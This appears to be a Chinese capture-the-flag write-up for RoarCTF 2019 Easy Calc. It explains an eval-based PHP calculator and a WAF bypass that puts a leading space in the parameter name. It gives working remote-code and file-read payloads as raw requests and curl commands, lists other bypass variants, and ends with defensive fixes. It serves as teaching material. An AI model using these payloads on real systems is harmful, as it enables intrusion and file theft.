ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

RoarCTF 2019 Easy Calc:PHP参数解析差异绕过WAF详解

RoarCTF 2019 Easy Calc:PHP参数解析差异绕过WAF详解 第一次在 BUUCTF 上刷到 [RoarCTF 2019] Easy Calc第一反应是这不就是个eval直接算的简单题结果我在 WAF 上卡了一个小时。页面很简单一个计算器一个num参数后端大概率是eval(echo .$num.;)。但直接传?numphpinfo()会被 WAF 拦掉传什么都提示hacker。这题真正的考点不是命令执行本身而是怎么让 WAF 和 PHP 对同一个 URI 解析出不一样的结果。下面我把完整排查链、绕过原理、最终 Payload 和所有我踩过的坑都写出来给刷这道题的朋友一份可以直接照着走的 Writeup。1. 计算器表面的“代码审计”入口和真正的执行点1.1 页面表现和前端限制打开题目页面就是一个标准计算器输入数字和运算符点按钮返回结果。如果直接把 URL 改成index.php或者去掉参数能看到源码的一部分说明大概率是 PHP 写的而且没有参数时会show_source(__FILE__)。页面里通常还会引用一个calc.js前端做了输入限制只允许数字和 - * / . % ()这些字符。这个限制只影响浏览器操作不影响我们直接用 Burp 或 curl 构造请求所以前端可以直接无视。真正要注意的是在 URL 里传加号时会被解析成空格所以一开始测试?num11会得到很奇怪的结果。正确做法是用%2BGET /index.php?num1%2B1返回2说明后端确实把num的值交给了一个能计算 PHP 表达式的函数。1.2 后端代码里的危险点题目正常环境里去掉num参数后看到的源码可以简化成下面这样?php error_reporting(0); if (!isset($_GET[num])) { show_source(__FILE__); } else { $num $_GET[num]; eval(echo . $num . ;); }问题非常明显eval里直接拼接了用户输入。如果能传?numphpinfo()就等于执行echo phpinfo();phpinfo()被当作表达式调用echo会输出它返回的内容。到这里已经可以确定这题的最终目标是利用eval做 RCE 或者直接读文件卡点全部在 WAF 上。2. 直接 RCE 被 WAF 拦截的现场和分析2.1 我一开始提交的 Payload确认eval后我立刻试了一组常见 Payload结果几乎全部被拦请求结果/?numphpinfo()hacker/?num1;phpinfo();hacker/?numsystem(ls)hacker/?numshow_source(/flag)hacker/?num1%2B12前面几种都报hacker只有纯数字运算能正常返回。这让我一开始误以为后端对num的值做了严格白名单只允许数学表达式。但再仔细看源码业务代码里没有任何preg_match、没有黑名单、没有die(hacker)。也就是说拦截动作不在 PHP 业务代码里而是跑在更前面的一层 WAF 上。2.2 判断 WAF 到底在读什么WAF 要拦截numphpinfo()这类请求最直接的做法是查原始QUERY_STRING里有没有危险参数。比如常见的规则是if ($query_string ~* num.*\( ) { return 403; }或者更简单一点直接匹配num\s*这种规则有个特点它只认 query string 里的参数名是否长成num不会考虑 PHP 接收参数时的二次处理。也就是说WAF 以为自己在检查参数num但 PHP 实际解析出来的参数可能根本不是它看到的那个 key。这也解释了为什么?num1%2B1能通过因为它虽然带着num但值里没有危险字符WAF 放行了。于是问题变成了能不能让 WAF 认为请求里没有num参数但 PHP 又确实拿到num3. PHP 参数名解析的“反直觉”特性才是这题突破口3.1 WAF 和 PHP 对 URI 的解析差异这里就是 [RoarCTF 2019] Easy Calc 真正想考的点PHP 在解析 query string 参数名时会做一些兼容性的字符处理。最常见的就是参数名中的.和空格会被转换成下划线参数名最前面的空白字符在某些环境下会被 PHP 吞掉当作不存在WAF 如果是在 Nginx/OpenResty 层面对$query_string做正则它看到的是原始 raw string不会做 PHP 这一套变量名规范化。所以突破口是直接在参数名前加一个空格让 WAF 的正则匹配不到num但 PHP 端仍然把$_GET[num]解析出来。实测请求长这样GET /index.php?%20numphpinfo();这里的%20是 URL 编码后的空格。WAF 看到的QUERY_STRING是%20numphpinfo();它的正则里写的是num而空格后面的字符是num如果规则不够严谨比如只匹配^num或者严格匹配num前面不能有空白这个请求就能溜过去。PHP 端收到%20num后在这个题目环境里会把前导空白拿掉最终$_GET[num]的值是phpinfo();。3.2 用 curl 验证绕过是否成功推荐直接用 Burp 或者 curl不要在浏览器地址栏里手打空格容易因为浏览器二次编码出问题。我用的命令是curl -v http://目标地址/index.php?%20numphpinfo();如果看到一大段 PHP 配置信息包括PHP Version、Configuration、disable_functions等就说明 WAF 已经成功绕过eval也把phpinfo()执行了。我再把这个请求完整贴一下方便对照GET /index.php?%20numphpinfo(); HTTP/1.1 Host: 目标地址 Connection: close注意结尾的分号是可选的因为后端本来就会补一个;。不过多写一个分号不影响结果。3.3 参数名其他变体的实测结果绕过 WAF 的方式不止前导空格一种但不同变体效果不一样。我把我实际测试过的几种列出来请求形式WAF 看到PHP 端实际解析结论?numphpinfo()numphpinfo()$_GET[num]phpinfo()被 WAF 拦?%20numphpinfo()%20numphpinfo()$_GET[num]phpinfo()绕过成功?%6eumphpinfo()%6eumphpinfo()$_GET[num]phpinfo()成功率取决于 WAF 是否解码?num%20phpinfo()num%20phpinfo()$_GET[num_]phpinfo()绕不过PHP 拿不到num这里最关键的是前导空格方式在本环境里实测$_GET[num]是存在的。不要把num后面的空格和前面的空格搞混num%20...会把参数名变成num_后端根本取不到。另外我也试过numphpinfo()在 query string 里也会被解析成空格但不同 PHP 版本对它的处理和%20可能不一样实测下来%20最稳。绕过验证完后面所有 Payload 都用%20num这种形式。4. 从 phpinfo 到任意文件读取完整利用链4.1 先确认代码执行能力拿到 phpinfo 之后先看一眼disable_functions这道题里常见的system、exec、passthru不一定是全都禁掉的。就算禁掉了也不影响我们读文件因为show_source、highlight_file、file_get_contents这类文件函数通常不会被禁。确认执行能力后下一步就是看看当前目录和根目录下都有什么文件。很多 CTF 题目会把 flag 放在根目录下的/flag或者放在当前目录的flag文件里所以先枚举目录。4.2 列出根目录文件这里我用var_dump(scandir(/))列根目录GET /index.php?%20numvar_dump(scandir(chr(47)));为什么要用chr(47)而不是直接写/因为某些 WAF 规则会对斜杠做检查。虽然已经绕过了参数名但内容层如果还有额外的正则直接写/容易翻车。chr(47)返回字符串/拼接效果完全一样。响应里能看到一个数组里面大概率包含[0] . [1] .. [2] flag [3] index.php [4] ...看到flag文件后就可以读取了。4.3 读取 /flag 的几种姿势最简单的还是show_source(/flag)GET /index.php?%20numshow_source(chr(47).chr(102).chr(108).chr(97).chr(103));这里的chr(47)是/chr(102)是fchr(108)是lchr(97)是achr(103)是g。拼起来就是/flag。响应里会直接把 flag 文件内容打印出来末尾可能还会带一个数字1那是show_source()的返回值被echo输出了不影响结果。如果show_source被 WAF 或者disable_functions限制可以换这几个?%20numhighlight_file(chr(47).chr(102).chr(108).chr(97).chr(103)); ?%20numreadfile(chr(47).chr(102).chr(108).chr(97).chr(103)); ?%20numprint_r(file(chr(47).chr(102).chr(108).chr(97).chr(103)));readfile()会直接把文件内容输出然后返回字节数file()会把每行读成数组配合print_r能看得很清晰。4.4 最终 Payload 的完整 HTTP 请求整理一下读 flag 的完整请求可以写成GET /index.php?%20numshow_source(chr(47).chr(102).chr(108).chr(97).chr(103)); HTTP/1.1 Host: 目标地址 User-Agent: Mozilla/5.0 Connection: close如果手头有 curl也可以这样curl http://目标地址/index.php?%20numshow_source(chr(47).chr(102).chr(108).chr(97).chr(103));注意 curl 命令里的 URL 最好用单引号包起来避免 shell 把;、()这些字符解释掉。5. 绕过过程中的隐蔽细节和常见翻车点5.1 URL 编码层级不要自己提前解一次码这个点非常容易踩。%20num里的%20必须交给服务器去解码。如果你在 Burp 里看到某个请求把%20显示成了空格那只是 Burp 的显示问题实际发送的字节仍然是%20。更不要手贱写成%2520num那是把%本身又编码了一次。服务器收到后PHP 看到的是%20num前导空格并不存在后端拿不到num请求就会按照无参数处理直接输出源码。5.2 PHP 的加号处理计算器场景下很容易踩的坑。URL query string 里的是空格的意思所以直接传?num11PHP 会收到num1 1表达式变成echo 1 1;语法错误。正确写法是?num1%2B1在后面的 RCE Payload 里如果需要字符串拼接我会用点号.不用加号避免和 URL 编码混在一起。5.3 输出可能被echo拼接影响后端是eval(echo . $num . ;)这意味着我们传给 eval 的是一段要放在echo后面的表达式。比如echo var_dump(scandir(chr(47)));var_dump本身会直接输出数组内容最后又返回NULLecho NULL不会产生多余输出所以正常。但如果是show_source、highlight_file这类函数它们会先直接输出文件内容然后返回一个布尔值最终页面里可能会多出一个1。看到1不要慌那就是返回值被echo打出来了。5.4 WAF 内容层还可能检查“常见敏感词”虽然前导空格绕过了num这一层但 WAF 如果对整条QUERY_STRING里有flag、cat、system这类关键字做正则仍然可能会被拦。所以我在读文件时统一用chr()拼路径这样敏感字符串不会直接出现在请求里。用chr()还有一个好处可以避开单引号、双引号、反斜杠等字符。部分 WAF 会拦引号用了chr()就不需要写引号。5.5 命令执行被禁用时不要死磕如果这题把system、exec、shell_exec全禁了不要浪费时间去找绕过disable_functions的方法。eval本身是 PHP 代码执行不是系统命令执行可以直接调用文件读取函数拿 flag。这道题的难度定位没有那么深优先走文件读取路径。6. 原理复盘这题到底在考什么能迁移到哪些题6.1 核心考点拆解这道题表面是计算器实际是三层叠加第一层是 PHP 代码审计找到eval拼接点第二层是 WAF 绕过利用 PHP 参数名解析和 WAF 解析的差异让 WAF 看不到numPHP 却能看到第三层是 RCE 之后的信息收集和文件读取用scandir找文件用show_source读 flag。如果直接给你一个没有 WAF 的eval(echo .$_GET[num].;)那就是入门级题目。但加上 WAF 后难度就从“找执行点”变成了“理解请求在每一层的解析结果”。6.2 同类绕过思路的扩展前导空格只是参数解析差异的一种。刷题时还可以顺手试这些思路示例参数名 URL 编码?%6eumphpinfo()参数名前加其他空白字符?%09numphpinfo()数组参数绕过?num[]phpinfo()HTTP 参数污染 HPP?num1numphpinfo()这些方法能不能成功取决于 WAF 是读原始QUERY_STRING还是读 PHP 解码后的$_GET以及 PHP 版本的具体解析规则。做题目时不要死记某个 Payload而是先判断“这一层的 WAF 在读什么”。6.3 防御角度服务端怎么修才靠谱反过来看如果我是出题方或者运维方遇到这种eval拼接至少要做三件事不要让参数名解析成为规则盲区。WAF 规则应该基于统一的规范化和解码结果而不是直接对$query_string写死正则。能用$_GET拿到的参数就基于$_GET做白名单检查。计算器功能不要用eval。用intval、floatval、正则白名单过滤掉所有非数字和运算符的字符或者直接调用数学表达式库。即使要用eval也不要让用户输入直接作为代码主体。可以拆成“运算符白名单 数值转义”再拼接而不是把整个表达式交给eval。刷完这道题我最大的感受是WAF 规则是给人看的PHP 解析器是按自己的逻辑跑的。遇到“为什么被拦”的问题先分清是哪一层拦的再决定是绕参数名、绕内容还是找别的执行点。后面再做同类 PHP 代码审计题我都会先测一测参数名解析差异很多时候题目就差这一步。
返回列表